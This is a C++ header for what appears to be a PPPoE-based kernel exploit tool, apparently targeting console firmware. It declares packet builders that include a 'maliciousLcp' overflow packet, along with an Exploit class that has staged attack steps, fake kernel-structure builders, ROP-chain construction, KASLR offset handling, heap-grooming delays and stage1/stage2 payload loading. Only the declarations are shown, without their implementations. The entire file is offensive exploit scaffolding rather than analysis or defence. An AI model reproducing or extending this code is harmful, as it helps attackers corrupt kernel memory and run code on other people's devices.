#pragma once

#include <functional>
#include <atomic>
#include <PcapLiveDevice.h>
#include <PPPoELayer.h>

#include "offset.h"
#include "defines.h"

#define RETURN_STOP 2
#define RETURN_FAIL 1
#define RETURN_SUCCESS 0

#define hexdump(p) if(PacketBuilder::debug) PacketBuilder::hexPrint(p)

class PacketBuilder {
public:
    static void hexPrint(const uint8_t* data, size_t len);

    static void hexPrint(const pcpp::Packet &packet);

    static pcpp::Packet lcpEchoReply(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac,
                                     uint16_t session, uint8_t id, uint32_t magic_number);

    static pcpp::Packet pado(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac,
                             const uint8_t *ac_cookie, size_t ac_cookie_len,
                             const uint8_t *host_uniq, size_t host_uniq_len);

    static pcpp::Packet pads(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac,
                             const uint8_t *host_uniq, size_t host_uniq_len);

    static pcpp::Packet padt(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac);

    static pcpp::Packet lcpRequest(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac);

    static pcpp::Packet lcpAck(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac, uint8_t id);

    static pcpp::Packet ipcpRequest(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac);

    static pcpp::Packet ipcpNak(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac, uint8_t id);

    static pcpp::Packet ipcpAck(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac, uint8_t id,
                                const uint8_t *option, size_t option_len);

    static pcpp::Packet icmpv6Echo(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac,
                                   const pcpp::IPv6Address &source_ipv6, const pcpp::IPv6Address &target_ipv6);

    static pcpp::Packet icmpv6Na(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac,
                                 const pcpp::IPv6Address &source_ipv6, const pcpp::IPv6Address &target_ipv6);

    static pcpp::Packet pinCpu0(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac);

    static pcpp::Packet maliciousLcp(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac,
                                     const uint8_t *overflow, size_t overflow_len);

    static pcpp::Packet lcpTerminate(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac);

    static pcpp::PPPoESessionLayer *getPPPoESessionLayer(const pcpp::Packet &packet, uint16_t pppType);

    static pcpp::PPPoEDiscoveryLayer *getPPPoEDiscoveryLayer(const pcpp::Packet &packet, uint8_t type);

    static inline bool debug{};
};

class Exploit {
public:
    Exploit() = default;

    ~Exploit() = default;

    int setFirmwareVersion(FirmwareVersion version);

    int setInterface(const std::string &iface, int buffer_size = 0);

    void setStage1(const std::vector<uint8_t> &&stage1_data);

    void setStage2(const std::vector<uint8_t> &&stage2_data);

    void setTimeout(int timeout);

    void setWaitPADI(bool wait);

    void setWaitAfterPin(int wait);

    void setGroomDelay(int wait);

    void setAutoRetry(bool retry);

    void setRealSleep(bool sleep);

    void closeInterface();

    void updateSourceMac(uint64_t value);

    uint64_t kdlsym(uint64_t addr) const;

    int lcp_negotiation() const;

    int ipcp_negotiation() const;

    int ppp_negotiation(const std::function<std::vector<uint8_t>(Exploit *)> &cb = nullptr,
                        bool ignore_initial_req = false, bool always_wait_padi = false);

    void ppp_byebye();

    static std::vector<uint8_t> build_fake_ifnet(Exploit *self);

    static std::vector<uint8_t> build_overflow_lle(Exploit *self);

    static std::vector<uint8_t> build_fake_lle(Exploit *self);

    static std::vector<uint8_t> build_first_rop(Exploit *self, uint64_t fake_lle_len, uint64_t rop2_len);

    static std::vector<uint8_t> build_second_rop(Exploit *self);

    int stage0();

    int stage1();

    int stage2();

    int stage3();

    int stage4();

    int run();

    void stop();

    pcpp::PcapLiveDevice *dev{};
    uint64_t pppoe_softc{};
    uint64_t pppoe_softc_list{};
    uint64_t kaslr_offset{};
    pcpp::MacAddress target_mac, source_mac;
    pcpp::IPv6Address target_ipv6;
    OffsetsFirmware offs{};
    std::vector<uint8_t> stage1_bin{};
    std::vector<uint8_t> stage2_bin{};
    bool auto_retry{};
    bool wait_padi{};
    bool real_sleep{};
    int timeout{};
    int wait_after_pin{1};
    int groom_delay{4};
    std::atomic<bool> running{};

private:
    int _run();
};
